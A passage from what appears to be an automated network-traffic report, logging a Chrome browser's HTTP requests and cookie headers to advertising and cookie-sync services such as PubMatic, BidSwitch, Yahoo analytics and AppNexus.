tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z"
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODImdGw9MTU3NjgwMCZkcF9pZD0yMg==&piggybackCookie=8266606981038422920&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; PugT=1704890143
Source: global traffic	HTTP traffic detected: GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929239
Source: global traffic	HTTP traffic detected: GET /ups/58160/sync?_origin=1&uid=LR8EUG12-1F-5JG4&redir=true&gdpr=0&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z"
Source: global traffic	HTTP traffic detected: GET /insync?vxii_pid=10067&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1Host: thrtle.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mc=eyJpZCI6IjcxYTRkYTFhLWJiNzgtNDU1NS04ZDBkLTNjMWFhOWQ3OTcwZSIsImwiOjE3MDQ5MjkyNDQzNTAsInQiOjF9
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=r1&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1
Source: global traffic	HTTP traffic detected: GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: d=EIUBCwHvKvijAA; mc=659f27d9-48ea1-51c4a-7520e
Source: global traffic	HTTP traffic detected: GET /sync?dsp_id=457&user_id=NzFjM2MzNGVhMzQ0YjdiNg&gdpr=0&gdpr_consent=&us_privacy=&ssp=medianet&bsw_param=f6435827-796b-4521-81e9-11e581628f69 HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929239
Source: global traffic	HTTP traffic detected: GET /usersync/141?gdpr=0&gdpr_consent= HTTP/1.1Host: match.deepintent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CDIUSER=di_1673c61b98ba4fbcabc0c; CDIPARTNERS=%7B%221%22%3A%2220240110%22%7D
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ssi=ab25e982-1377-4641-a931-12c3dc8e9d24#1704929244042; _ssuma=eyI0NSI6MTcwNDkyOTI0NDgyM30
Source: global traffic	HTTP traffic detected: GET /prebid/setuid?bidder=rubicon&uid=LR8EUG12-1F-5JG4&gdpr=0&us_privacy=1YNN HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=7367141199740274687; XANDR_PANID=qFI7Su_GC9_9RK1nPBjtvu_DxAoY4STz0CCs3RfmJo9qNGkr1v7Yn176QLAtsYdMFTvx6BdlCl9mWPfudDrPCVoy1r3PDObk_Zh5tqbw-0I.
Source: global traffic	HTTP traffic detected: GET /sync?pid=187&uid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.bfmio.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __187_cid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; __io_cid=5faf053de5eb89059312b8e6b3a91eb67e185036
Source: global traffic	HTTP traffic detected: GET /ping_match.gif?ei=PUBMATIC&rurl=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:_wfivefivec_&gdpr=0&gdpr_consent= HTTP/1.1Host: pm.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wfivefivec=Rw6Yt2Jl1RnHYF5; matchmedianet=5; matchpubmatic=5
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzAmdGw9MTI5NjAw&piggybackCookie=di_1673c61b98ba4fbcabc0c HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; PugT=1704929244; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%
Source: global traffic	HTTP traffic detected: GET /CookieSyncPubMatic&gdpr=0&gdpr_consent= HTTP/1.1Host: rtb.adentifi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=7367141199740274687&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; PugT=1704929244; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTQ2MSZ0bD0xMDA4MA==&piggybackCookie=AAAGXafxLeElYgMctaPHAAAAAAA&expiration=1705015644&nuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; PugT=1704929244; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; 